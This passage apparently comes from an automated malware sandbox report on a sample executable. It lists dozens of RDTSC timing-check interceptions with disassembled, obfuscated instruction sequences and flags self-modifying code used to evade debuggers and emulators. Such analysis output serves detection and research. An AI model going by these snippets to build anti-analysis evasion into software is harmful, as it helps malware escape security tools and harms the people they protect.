[esp], 2E62F643h 0x0000006a jmp 00007FBDC0E80B87h 0x0000006f lea ebx, dword ptr [ebp+1244E59Ch] 0x00000075 mov edi, dword ptr [ebp+122D2CD2h] 0x0000007b push eax 0x0000007c push eax 0x0000007d push edx 0x0000007e pushad 0x0000007f pushad 0x00000080 popad 0x00000081 jmp 00007FBDC0E80B88h 0x00000086 popad 0x00000087 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F48BBD second address: F48BD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A223h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F59FF5 second address: F5A00E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC0E80B85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F5A00E second address: F5A018 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBDC110A21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F5A018 second address: F5A02E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBDC0E80B7Dh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F66C8D second address: F66CA1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FBDC110A218h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007FBDC110A216h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67079 second address: F67098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC0E80B85h 0x00000009 jo 00007FBDC0E80B76h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67098 second address: F6709C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F675ED second address: F675FF instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC0E80B78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6772E second address: F67734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67734 second address: F67752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBDC0E80B87h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67752 second address: F677AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FBDC110A229h 0x00000011 jmp 00007FBDC110A228h 0x00000016 jmp 00007FBDC110A226h 0x0000001b popad 0x0000001c jg 00007FBDC110A218h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F678EB second address: F6791E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 jmp 00007FBDC0E80B88h 0x0000000c pop esi 0x0000000d pushad 0x0000000e jo 00007FBDC0E80B78h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007FBDC0E80B76h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67A7D second address: F67ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FBDC110A21Ah 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pop edi 0x00000011 jl 00007FBDC110A25Dh 0x00000017 pushad 0x00000018 jmp 00007FBDC110A21Ch 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FBDC110A21Eh 0x00000024 jmp 00007FBDC110A21Fh 0x00000029 popad 0x0000002a push eax 0x0000002b push edx 0x0000002c push edx 0x0000002d pop edx 0x0000002e jc 00007FBDC110A216h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67ACB second address: F67AD5 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBDC0E80B76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67DCE second address: F67DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC110A222h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F67DE4 second address: F67DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F5E205 second address: F5E225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC110A228h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F33124 second address: F33147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B87h 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FBDC0E80B76h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6847A second address: F68480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F68480 second address: F6848C instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC0E80B76h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F68704 second address: F68708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F68708 second address: F68731 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBDC0E80B7Ah 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jnp 00007FBDC0E80B7Ah 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jne 00007FBDC0E80B76h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F68731 second address: F68735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F68735 second address: F68739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6A6AE second address: F6A6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jng 00007FBDC110A216h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6AE94 second address: F6AEB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBDC0E80B85h 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6BECD second address: F6BEE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A226h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6BEE7 second address: F6BF04 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC0E80B78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FBDC0E80B7Dh 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6BF04 second address: F6BF2C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FBDC110A224h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F6BF2C second address: F6BF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F705DF second address: F705FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBDC110A216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FBDC110A21Fh 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F705FB second address: F705FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F705FF second address: F70605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F70605 second address: F70627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pushad 0x00000008 je 00007FBDC0E80B7Ch 0x0000000e js 00007FBDC0E80B76h 0x00000014 push ebx 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop ebx 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b pop esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 push esi 0x00000021 pop esi 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F39CCF second address: F39CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F39CD3 second address: F39CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71BEB second address: F71BEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71BEF second address: F71BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FBDC0E80B76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71BFB second address: F71C00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71C00 second address: F71C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71C0A second address: F71C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71C15 second address: F71C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F71C19 second address: F71C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F2ACD1 second address: F2ACE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBDC0E80B7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F748F8 second address: F74919 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBDC110A216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FBDC110A227h 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F74919 second address: F7491E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F74A79 second address: F74A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBDC110A216h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F74EC4 second address: F74EDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FBDC0E80B76h 0x00000009 jne 00007FBDC0E80B76h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edx 0x00000013 jng 00007FBDC0E80B82h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F74EDF second address: F74EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F785CC second address: F785D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F785D2 second address: F785EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBDC110A226h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F787BA second address: F787BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F787BE second address: F787C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F787C4 second address: F787CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F787CB second address: F787DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jbe 00007FBDC110A220h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F78D41 second address: F78D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F792B7 second address: F792BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79349 second address: F79350 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79350 second address: F7935D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7935D second address: F79361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79361 second address: F7939F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FBDC110A224h 0x00000011 popad 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 adc si, 6CDDh 0x00000019 movzx esi, dx 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pushad 0x00000021 popad 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79443 second address: F7944C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F795CB second address: F795CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79903 second address: F79907 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79907 second address: F79922 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBDC110A227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79922 second address: F79999 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBDC0E80B7Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d jmp 00007FBDC0E80B80h 0x00000012 pop edi 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007FBDC0E80B78h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Bh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 jns 00007FBDC0E80B76h 0x0000003b mov esi, ecx 0x0000003d xchg eax, ebx 0x0000003e jmp 00007FBDC0E80B89h 0x00000043 push eax 0x00000044 push ecx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F79999 second address: F7999D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7A844 second address: F7A8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jns 00007FBDC0E80B86h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FBDC0E80B78h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D2E62h] 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push edx 0x00000035 call 00007FBDC0E80B78h 0x0000003a pop edx 0x0000003b mov dword ptr [esp+04h], edx 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc edx 0x00000048 push edx 0x00000049 ret 0x0000004a pop edx 0x0000004b ret 0x0000004c push 00000000h 0x0000004e mov dword ptr [ebp+1247704Ch], ebx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 ja 00007FBDC0E80B78h 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7B98D second address: F7B997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FBDC110A216h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7CFB6 second address: F7CFBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7CFBA second address: F7CFC0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7CFC0 second address: F7D026 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBDC0E80B78h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d movsx esi, bx 0x00000010 and edi, dword ptr [ebp+122D2E56h] 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FBDC0E80B78h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 or di, A571h 0x00000037 push 00000000h 0x00000039 mov esi, dword ptr [ebp+122D2EA2h] 0x0000003f xchg eax, ebx 0x00000040 js 00007FBDC0E80B8Ch 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7CD6F second address: F7CD79 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBDC110A21Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\QL5S57X7LY8KPTXEALS6X0KXHK0MG.exe	RDTSC instruction interceptor: First address: F7CD79 second address: F7CD8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jns 00007FBDC0E80B76h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\pfY4k1qisn.exe	Special instruction interceptor: First address: 9F7A68 instructions caused by: Self-modifying code
